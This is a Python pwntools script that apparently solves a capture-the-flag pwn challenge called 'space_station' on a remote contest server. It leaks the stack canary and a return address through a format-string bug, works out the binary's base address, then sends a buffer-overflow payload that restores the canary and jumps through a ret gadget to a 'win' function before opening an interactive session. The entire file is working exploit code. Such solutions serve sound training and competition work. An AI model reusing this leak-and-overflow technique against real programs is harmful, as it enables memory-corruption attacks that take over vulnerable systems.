#!/usr/bin/env python3
import re

from pwn import *

CANARY_POS = 15
RETURN_POS = 17  # (Seen from the find_canary script and gdb rel value)
CANARY_OFF = 72
# Next instruction after the main() calls vuln()
main_rel = 0x139E  # Relative address after the vuln call in main
win_rel = 0x1275
elf = context.binary = ELF("./space_station", checksec=False)

# p = process(elf.path)
p = remote("offsec.m0lecon.it", 13583)

p.sendline(f"%{CANARY_POS}$lx.%{RETURN_POS}$lx".encode())
p.recvline()
rawout = p.recvline().split(b":")[1].strip()
canary_raw = rawout.split(b".")[0]
ret_raw = rawout.split(b".")[1]

canary = int(canary_raw, 16)
# Return address on the stack of the vuln() function
ret = int(ret_raw, 16)
# Base address end with three 000 because is the beginning of a memory page
base_addr = ret - main_rel
print(f"{p64(canary)} and {p64(base_addr)}")
print(f"Base address: {hex(base_addr)}")
payload = flat(
    b"A" * CANARY_OFF,
    p64(canary),
    b"B" * 8,
    p64(base_addr + 0x000000000000101A),  # ret gadget
    p64(base_addr + win_rel),
)
p.send(payload)
print(p.recvline())
print(p.recvline())

p.interactive()
